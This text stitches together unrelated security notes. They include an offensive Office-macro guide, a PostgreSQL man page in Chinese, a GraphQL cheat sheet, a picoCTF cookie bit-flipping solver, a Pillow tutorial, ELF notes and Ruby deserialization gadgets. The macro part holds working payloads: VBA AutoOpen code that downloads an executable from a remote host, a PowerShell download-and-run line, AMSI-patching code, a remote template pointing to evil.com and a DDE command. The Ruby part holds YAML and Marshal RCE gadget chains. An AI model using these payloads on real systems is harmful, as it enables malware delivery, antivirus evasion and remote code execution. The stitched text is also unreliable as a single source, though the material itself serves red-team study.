macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls ``` ### DOCM - BadAssMacros > C# based automated Malicous Macro Generator. * https://github.com/Inf0secRabbit/BadAssMacros ```powershell BadAssMacros.exe -h # Create VBA for classic shellcode injection from raw shellcode BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file> BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt # Create VBA for indirect shellcode injection from raw shellcode BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file> # List modules inside Doc/Excel file BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l # Purge Doc/Excel file BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name> ``` ### DOCM - CACTUSTORCH VBA Module > CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript * https://github.com/mdsecactivebreach/CACTUSTORCH * https://github.com/tyranid/DotNetToJScript/ * CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY * CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ 1. Import **.cna** in Cobalt Strike 2. Generate a new VBA payload from the CACTUSTORCH menu 3. Download DotNetToJscript 4. Compile it * **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript * **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test" 5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type ```ps1 DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch ``` 6. Use the generated code to replace the hardcoded binary in CactusTorch ### DOCM - MMG with Custom DL + Exec 1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe" 2. Create a custom binary execute using MMG 3. Merge both Macro ```ps1 git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator python MMG.py configs/generic-cmd.json malicious.vba { "description": "Generic command exec payload\nEvasion technique set to none", "template": "templates/payloads/generic-cmd-template.vba", "varcount": 152, "encodingoffset": 5, "chunksize": 180, "encodedvars": {}, "vars": [], "evasion": ["encoder"], "payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe" } ``` ```vb Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean On Error GoTo Failed DownloadFileA = False 'As directory must exist, this is a check If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function Dim returnValue As Long returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0) 'If return value is 0 and the file exist, then it is considered as downloaded correctly DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0) Exit Function Failed: End Function Sub AutoOpen() DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" End Sub Sub Auto_Open() DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" End Sub ``` ### DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control` ```vb Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus) End Sub ``` ### VBA Obfuscation ```ps1 # https://www.youtube.com/watch?v=L0DlPOLx2k0 $ git clone https://github.com/bonnetn/vba-obfuscator $ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin ``` ### VBA Purging **VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code. :warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format. #### OfficePurge * https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe ```powershell OfficePurge.exe -d word -f .\malicious.doc -m NewMacros OfficePurge.exe -d excel -f .\payroll.xls -m Module1 OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument OfficePurge.exe -d word -f .\malicious.doc -l ``` #### EvilClippy > Evil Clippy uses the OpenMCDF library to manipulate CFBF files. > Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. > If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this. ```ps1 # OSX/Linux mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs # Windows csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc # make macro code unaccessible is to mark the project as locked and unviewable: -u # Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag. EvilClippy.exe -r macrofile.doc ``` ### VBA - Offensive Security Template * Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba * Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process * RunPE - https://github.com/itm4n/VBA-RunPE * Spoof Parent - https://github.com/py7hagoras/OfficeMacro64 * AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba * amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3 * VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba ### VBA - AMSI > The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/ :warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy). The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro * AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass ```vb Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr) Private Sub Document_Open() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim result As Long Dim MyByteArray(6) As Byte Dim ArrayPointer As LongPtr MyByteArray(0) = 184 ' 0xB8 MyByteArray(1) = 87 ' 0x57 MyByteArray(2) = 0 ' 0x00 MyByteArray(3) = 7 ' 0x07 MyByteArray(4) = 128 ' 0x80 MyByteArray(5) = 195 ' 0xC3 AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) ArrayPointer = VarPtr(MyByteArray(0)) CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 End Sub ``` ### DOCX - Template Injection :warning: Does not require "Enable Macro" #### Remote Template 1. A malicious macro is saved in a Word template .dotm file 2. Benign .docx file is created based on one of the default MS Word Document templates 3. Document from step 2 is saved as .docx 4. Document from step 3 is renamed to .zip 5. Document from step 4 gets unzipped 6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb). ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships> ``` ```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships> ``` 7. File gets zipped back up again and renamed to .docx #### Template Injections Tools * https://github.com/JohnWoodman/remoteInjector * https://github.com/ryhanson/phishery ```ps1 $ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx [+] Opening Word document: good.docx [+] Setting Word document template to: https://secure.site.local/docs [+] Saving injected Word document to: bad.docx [*] Injected Word document has been saved! ``` ### DOCX - DDE * Insert > QuickPart > Field * Right Click > Toggle Field Code * `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }` ## References * [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/) * [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/) * [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/) * [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/) * [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/) * [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/) * [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/) * [VBad - Pepitoh](https://github.com/Pepitoh/VBad) * [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf) * [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/) * [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/) * [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/) * [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9) * [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/) * [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) * [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) * [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships) * [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/) * [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/) * [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass) * [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/) * [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html) * [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/) * [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948) * [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23) * [So you think you can block Macros? - Pieter Ceelen - April 25, 2023](https://outflank.nl/blog/2023/04/25/so-you-think-you-can-block-macros/)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ALTER GROUP" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ALTER GROUP \- 修改一个用户组 .SH SYNOPSIS .sp .nf ALTER GROUP \fIgroupname\fR ADD USER \fIusername\fR [, ... ] ALTER GROUP \fIgroupname\fR DROP USER \fIusername\fR [, ... ] ALTER GROUP \fIgroupname\fR RENAME TO \fInewname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBALTER GROUP\fR 用于修改一个用户组。 头两个形式从组中增加或者删除用户。 只有数据库超级用户才能使用这条命令。向组中增加用户并不创建用户。 同样从组中删除用户也不删除用户本身。 .PP 第三种变体修改一个组的名字。只有数据库超级用户可以重命名组。 .SH "PARAMETERS 参数" .TP \fB\fIgroupname\fB\fR 要更改的组名称。 .TP \fB\fIusername\fB\fR 准备向组中增加或从组中删除的用户名。用户名必须已经存在。 .TP \fB\fInewname\fB\fR 组的新名字。 .SH "EXAMPLES 例子" .PP 向组中增加用户: .sp .nf ALTER GROUP staff ADD USER karl, john; .sp .fi 从组中删除用户: .sp .nf ALTER GROUP workers DROP USER beth; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准里没有 ALTER GROUP 语句。角色(roles)的概念与之类似。 .SH "SEE ALSO 参见" CREATE GROUP [\fBcreate_group\fR(7)], DROP GROUP [\fBdrop_group\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
--- title: GraphQL date: 2021-07-15 20:51:44 background: bg-[#cc44a2] tags: - query - API categories: - Programming intro: | This quick reference cheat sheet provides a brief overview of GraphQL. plugins: - copyCode --- Getting Started -------- ### Overview - An alternative approach to RESTful APIs - GraphQL is a query language for APIs - Easily describe the shape of the GraphQL API using clear shared terms. - Clients issue queries/mutations to read and update data - GraphQL syntax can express complex entity relations - Libraries to implement GraphQL in [different languages](https://graphql.org/code/) [GraphQL](https://graphql.org/) {.link-arrow} ### Schema | | | |----------------|----------------------------------| | `schema` | GraphQL schema definition | | `query` | Read and traverse data | | `mutation` | Modify data or trigger an action | | `subscription` | Run a query when an event occurs | ### Built-in Scalar Types | | | |-----------|----------------------------------------------| | `Int` | Signed 32‐bit integer | | `Float` | Signed double-precision floating-point value | | `String` | UTF‐8 character sequence | | `Boolean` | true or false | | `ID` | A Unique identifier | ### Type Definitions | | | |-------------|-------------------| | `scalar` | Scalar Type | | `type` | Object Type | | `interface` | Interface Type | | `union` | Union Type | | `enum` | Enum Type | | `input` | Input Object Type | ### Type Modifiers | | | |--------------|-----------------------------------| | `String` | Nullable String | | `String!` | Non-null String | | `[String]` | List of nullable Strings | | `[String]!` | Non-null list of nullable Strings | | `[String!]!` | Non-null list of non-null Strings | ### Input Arguments {.row-span-2} #### Basic Input ```js type Query { users(limit: Int): [User] } ``` #### Input with default value ```js type Query { users(limit: Int = 10): [User] } ``` #### Input with multiple arguments ```js type Query { users(limit: Int, sort: String): [User] } ``` #### Input with multiple arguments and default values ```js {.wrap} type Query { users(limit: Int = 10, sort: String): [User] } type Query { users(limit: Int, sort: String = "asc"): [User] } type Query { users(limit: Int = 10, sort: String = "asc"): [User] } ``` ### Input Types ```js input ListUsersInput { limit: Int since_id: ID } ``` ```js type Mutation { users(params: ListUsersInput): [User]! } ``` ### Custom Scalars ```js scalar Url type User { name: String homepage: Url } ``` ### Interfaces ```js interface Foo { is_foo: Boolean } interface Goo { is_goo: Boolean } type Bar implements Foo { is_foo: Boolean is_bar: Boolean } type Baz implements Foo, Goo { is_foo: Boolean is_goo: Boolean is_baz: Boolean } ``` Object implementing one or more Interfaces ### Unions ```js type Foo { name: String } type Bar { is_bar: String } union SingleUnion = Foo union MultipleUnion = Foo | Bar type Root { single: SingleUnion multiple: MultipleUnion } ``` Union of one or more Objects ### Enums ```js {.wrap} enum USER_STATE { NOT_FOUND ACTIVE INACTIVE SUSPENDED } type Root { stateForUser(userID: ID!): USER_STATE! users(state: USER_STATE, limit: Int = 10): [User] } ``` Also see ------- * [GraphQL Schema Language Cheat Sheet](https://github.com/sogko/graphql-schema-language-cheat-sheet) _(github.com)_
sec-knowleage
# More Cookies Category: Web, 90 points ## Description > I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! ## Solution We visit the attached website and receive the following cookie: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/More_Cookies] └─$ curl -I http://mercury.picoctf.net:15614/ HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 209 Location: http://mercury.picoctf.net:15614/ Set-Cookie: auth_name=NlhkcGZnRzdqRW53OXgwUFFZdGZKSCt3YWtzb0pPUzlxUDY0YzFndmx0UHhiamk3Y3QwaFdvMGJDMzV2MitiU3c3VkdOTjVVWVdpUTMxUlFkUGdjdk9rUFBTbFRJaGtESFZXZkQzcEM4cEdPZXZCZEtDek5EQzdFS2l4KzJWTW4=; Path=/ ``` Let's decode it as base64: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/More_Cookies] └─$ echo NlhkcGZnRzdqRW53OXgwUFFZdGZKSCt3YWtzb0pPUzlxUDY0YzFndmx0UHhiamk3Y3QwaFdvMGJDMzV2MitiU3c3VkdOTjVVWVdpUTMxUlFkUGdjdk9rUFBTbFRJaGtESFZXZkQzcEM4cEdPZXZCZEtDek5EQzdFS2l4KzJWTW4= | base64 -d 6XdpfgG7jEnw9x0PQYtfJH+waksoJOS9qP64c1gvltPxbji7ct0hWo0bC35v2+bSw7VGNN5UYWiQ31RQdPgcvOkPPSlTIhkDHVWfD3pC8pGOevBdKCzNDC7EKix+2VMn ``` It's another base64 encoded string. Let's continue decoding: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/More_Cookies] └─$ echo 6XdpfgG7jEnw9x0PQYtfJH+waksoJOS9qP64c1gvltPxbji7ct0hWo0bC35v2+bSw7VGNN5UYWiQ31RQdPgcvOkPPSlTIhkDHVWfD3pC8pGOevBdKCzNDC7EKix+2VMn | base64 -d | xxd -g 1 00000000: e9 77 69 7e 01 bb 8c 49 f0 f7 1d 0f 41 8b 5f 24 .wi~...I....A._$ 00000010: 7f b0 6a 4b 28 24 e4 bd a8 fe b8 73 58 2f 96 d3 ..jK($.....sX/.. 00000020: f1 6e 38 bb 72 dd 21 5a 8d 1b 0b 7e 6f db e6 d2 .n8.r.!Z...~o... 00000030: c3 b5 46 34 de 54 61 68 90 df 54 50 74 f8 1c bc ..F4.Tah..TPt... 00000040: e9 0f 3d 29 53 22 19 03 1d 55 9f 0f 7a 42 f2 91 ..=)S"...U..zB.. 00000050: 8e 7a f0 5d 28 2c cd 0c 2e c4 2a 2c 7e d9 53 27 .z.](,....*,~.S' ``` According the the challenge description, this must be the encrypted cookie. The challenge said that since cookies can be modified on the client side, the mitigation was to encrypt them. However, if the encryption method is [Homomorphic](https://en.wikipedia.org/wiki/Homomorphic_encryption), changes made to the encrypted form will affect the decrypted form. This can be exploited using a [Bit Flipping Attack](https://en.wikipedia.org/wiki/Bit-flipping_attack). So, we hope that somewhere in the cookie we have something like `admin=0`, and start flipping bits so that the plaintext will be transformed to `admin=1`. ```python from pwn import * import requests import base64 import re URL = "http://mercury.picoctf.net:15614/" COOKIE_NAME = "auth_name" def main(): s = requests.Session() r = s.get(URL) cookie = s.cookies[COOKIE_NAME] raw_cookie = bytearray(base64.b64decode(base64.b64decode(cookie))) log.info(f"Cookie: {cookie}") with log.progress("Flipping bits") as p: for byte_index in range(len(raw_cookie)): for i in range(8): mask = (1 << i) p.status(f"Trying to flip index {byte_index}/{len(raw_cookie)} with mask {hex(mask)}") # Flip the bit raw_cookie[byte_index] ^= mask new_cookie = base64.b64encode(base64.b64encode(raw_cookie)).decode("ascii") r = requests.get(URL, cookies = {COOKIE_NAME: new_cookie}) if (m:= re.search(r"picoCTF{[^}]+}", r.text)) is not None: log.success(f"Flipped index {byte_index}/{len(raw_cookie)} with mask {hex(mask)}, Flag: {m.group(0)}") return # Flip the bit back raw_cookie[byte_index] ^= mask if __name__ == "__main__": main() ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/More_Cookies] └─$ python3 solve.py [*] Cookie: TU1oWUZvMU9iOXhndGUrc3krbWRuWFVJRERHSE5oekxHcm5FZEhocDM1WEphZHNVaTBhcUpuTG5IbmZQU1VZbWNNWnBmbTlVWlA4ZE9neEJ3dmlFR002M0dmRzNpNy9JYkUyQVVvdFl2SHhJYlUyNzlqdkRIdUJIWk9IeVVIbHk= [+] Flipping bits: Done [+] Flipped index 9/96 with mask 0x1, Flag: picoCTF{cO0ki3s_yum_a9a19fa6} ```
sec-knowleage
version: '2' services: weblogic: image: vulhub/weblogic:12.2.1.3-2018 ports: - "7001:7001"
sec-knowleage
# Pillow --- ## 安装 ```bash python2 -m pip install Pillow pip3 install Pillow ``` --- ## 加载图片,使用方法open ```py from PIL import Image im = Image.open('test.jpg') im.show() # show 会调用系统默认的图片浏览器,linux好像不行,windows下正常 print im.format,im.size,im.mode # im是一个Image对象,属性有format,size,mode。format是格式,size 是一个元组,表示(宽,高),mode则指的图片的模式。 ``` ## 图片的读和写 读文件用 `Image.open()`,保存文件用 `Image.save()`,也可以用 save 方法来进行图片的格式转换。使用 os 模块中的 `os.path.splitext()` 方法可以将文件名和扩展名分离开来,下面的代码能够把 jpg 格式的图片转为 png 格式。 ```py infile = 'test.jpg' f,e = os.path.splitext(infile) outfile = f + '.png' try: Image.open(infile).save(outfile) except IOError: print "cannot convert",infile ``` ## 图片剪切 从一张图片中剪切出一块区域,比如从图片提取矩形,使用 `crop()` 方法。 ```py im = Image.open('test.jpg') box = (150,150,245,280) region = im.crop(box) region.show() ``` ## 图片黏贴 图片的黏贴就是将一张图覆盖到另一张图上面。黏贴的方法是 paste()。格式为:paste(要贴的图片,要贴的图片的 4 元坐标组成的区域)。如下面,我们把 test.jpg 这张图片,取区域 (50,50,200,200),将该区域旋转 180 度后贴到原来的位置。 ```py im = Image.open('test.jpg') box = (50,50,200,200) region = im.crop(box) # 将图片逆序旋转180后,黏贴到原来复制的位置 region = region.transpose(Image.ROTATE_180) im.paste(region,box) im.show() ``` ## 图像序列 当处理 GIF 这种包含多个帧的图片,称之为序列文件,PIL 会自动打开序列文件的第一帧。而使用 seek 和 tell 方法可以在不同帧移动。tell 是帧数,而 seek 是取当前帧数的图片。 使用while循环: ```py from PIL import Image im = Image.open("test.gif") im.seek(1) im.show() try: while 1: im.seek(im.tell()+1) im.show() except EOFError: pass ``` 如果要使用for循环,可以使用ImageSequence模块的Iterator方法。 ```py from PIL import Image from PIL import ImageSequence im = Image.open("test.gif") for frame in ImageSequence.Iterator(im): frame.show() ``` ## 读取像素和修改像素 ```py from PIL import Image img = Image.open('test.jpg') width , height = img.size for i in range(0,width): for j in range(0,height): tmp = img.getpixel((i,j)) img.putpixel((i,j),(0,0,tmp[2])) img.show() ``` --- ## Source & Reference - [CTF 图像隐写Python脚本处理](https://mp.weixin.qq.com/s/hTtMn53H4PbrK-7x_Ff2_w)
sec-knowleage
functions = ["none"] * 150 exceptions = open("exceptions").readlines() for i, line in enumerate(open("exc2").readlines()): line = line.strip() if i % 3 == 1: fun = line.split("(")[0].split()[-1] elif i % 3 == 2: line = int(line.split("[")[1].split("]")[0]) functions[line] = fun for i, f in enumerate(functions): lines = [] for line in exceptions: if f in line: lines.append(line) if lines: line = lines[0].strip().split()[4] else: line = "none" if line.startswith("sub_"): line = int(line.split("_")[1], 16) print "MakeName(", hex(line), ", ", "'opcode_"+str(i)+ "')" else: print "#", i, f, line
sec-knowleage
# Misc Sections ## Note related sections 有时候生产厂商或者系统构建者可能需要使用一些特殊的信息来标记ELF文件,从而其它程序可以来检查该 ELF 文件的一致性以及兼容性。节区类型为 SHT_NOTE 或者程序头部类型为 PT_NOTE 的元素用于来实现这个目的,它们中对象的表项可能包含一到多个,每一个表项都是目标处理器格式的 4 字节数组。下面给出了一些可能的注释信息。但是这并不在 ELF 文件的规范内。 - namesz 与 name - name 的前 namesz 字节包含了一个以 NULL 结尾的字符串,这表示该项的拥有者或者发起人。但是目前并没有避免冲突的格式化的命名机制。一般来说,生产厂商会使用他们自己公司的名字,例如“XYZ Computer Company”来当做对应的标志。如果没有任何名字的话,namesz 应该是0。那么在 name的地方应该填充到 4 字节对齐。 - descsz 与 desc - desc 的前 descsz 字节包含了注释的描述。ELF 文件对于描述的内容没有任何约束。如果没有任何描述的话,descsz 应该为 0。当然,应该在 desc 处填充到 4 字节对齐。 - type - 这个字段给出了描述的解释,对于不同那个的发起者来说,他们都必须控制自己的类型,对于同一类型来说,有可能有多个描述与其对应。因此,发起者必须能够识别名字以及类型以便于来理解对应的描述。目前来说,类型不能够为非负值,ELF 文件的规范里并不定义描述符的意思。这也是为什么 type 在前面。 下面给出一个简单的例子来说明一下 这里包含了两个表项。 在 Linux 中,与 Note 相关的节包含了 ELF 文件中的一些注释信息,主要包含两个节 - .note.ABI-tag - .note.gnu.build-id ## .gnu.hash 注:本部分主要参考https://blogs.oracle.com/ali/gnu-hash-elf-sections。 在 ELF 良好的可扩展性的帮助下, GNU 为 ELF 对象添加了一个新的哈希节,这个节的性能相比于原有的 `SYSV hash` 会好很多。该节用于快速根据符号名获取对应符号表中的索引。 更多内容请参考 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections。 **有待进一步学习。** ### ELF 标准 ELF 文件中的哈希表由 Elf32_Word 对象构成,用来支持符号表访问。下面的符号可以用来辅助解释符号表的组织情况,但是他们并不是 ELF 文件说明的一部分。 bucket 数组包含了 nbucket 个元素,chain 数组包含了 nchain 个元素,所有的数组的下标都是以 0 开始。bucket 和 chain 都包含符号表索引。chain 数组中的元素是和符号表中的元素一一对应的,因此符号表的元素个数必须和 nchain 的大小相同,故而符号表的索引同样可以作为 chain 表的索引。下面展示的哈希函数接受一个符号名作为输入,然后返回一个值,这个值可能被用于计算 bucket 的索引。因此,如果哈希函数针对于某个名字返回值 x,那么 `bucket[x%nbucket] ` 给出了一个索引 y,可以用来索引符号表,也可以用来索引 chain 表。如果符号表的对应索引并不是所想要的哪一个,那么 chain[y] 就会给出同一个哈希值的下一个符号表中表项的位置,即可以用来防止出现哈希值一样的情况。因此我们可以跟着 chain 链一直搜索直到遇到所想要的符号,或者遇到值为 `STN_UNDEF` 的 chain 的表项。 ## .eh_frame related .eh_frame_hdr .eh_frame
sec-knowleage
# Ruby Deserialization ## Marshal.load Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 ```ruby for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done ``` ## Yaml.load Vulnerable code ```ruby require "yaml" YAML.load(File.read("p.yml")) ``` Universal gadget for ruby <= 2.7.2: ```ruby --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source::SpecificFile spec: &1 !ruby/object:Gem::StubSpecification loaded_from: "|id 1>&2" - !ruby/object:Gem::Source::SpecificFile spec: ``` Universal gadget for ruby 2.x - 3.x. ```ruby --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve ``` ## References - [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) - [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) - [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) - [Universal RCE with Ruby YAML.load (versions > 2.7) - @_staaldraad](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/) * [Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
sec-knowleage
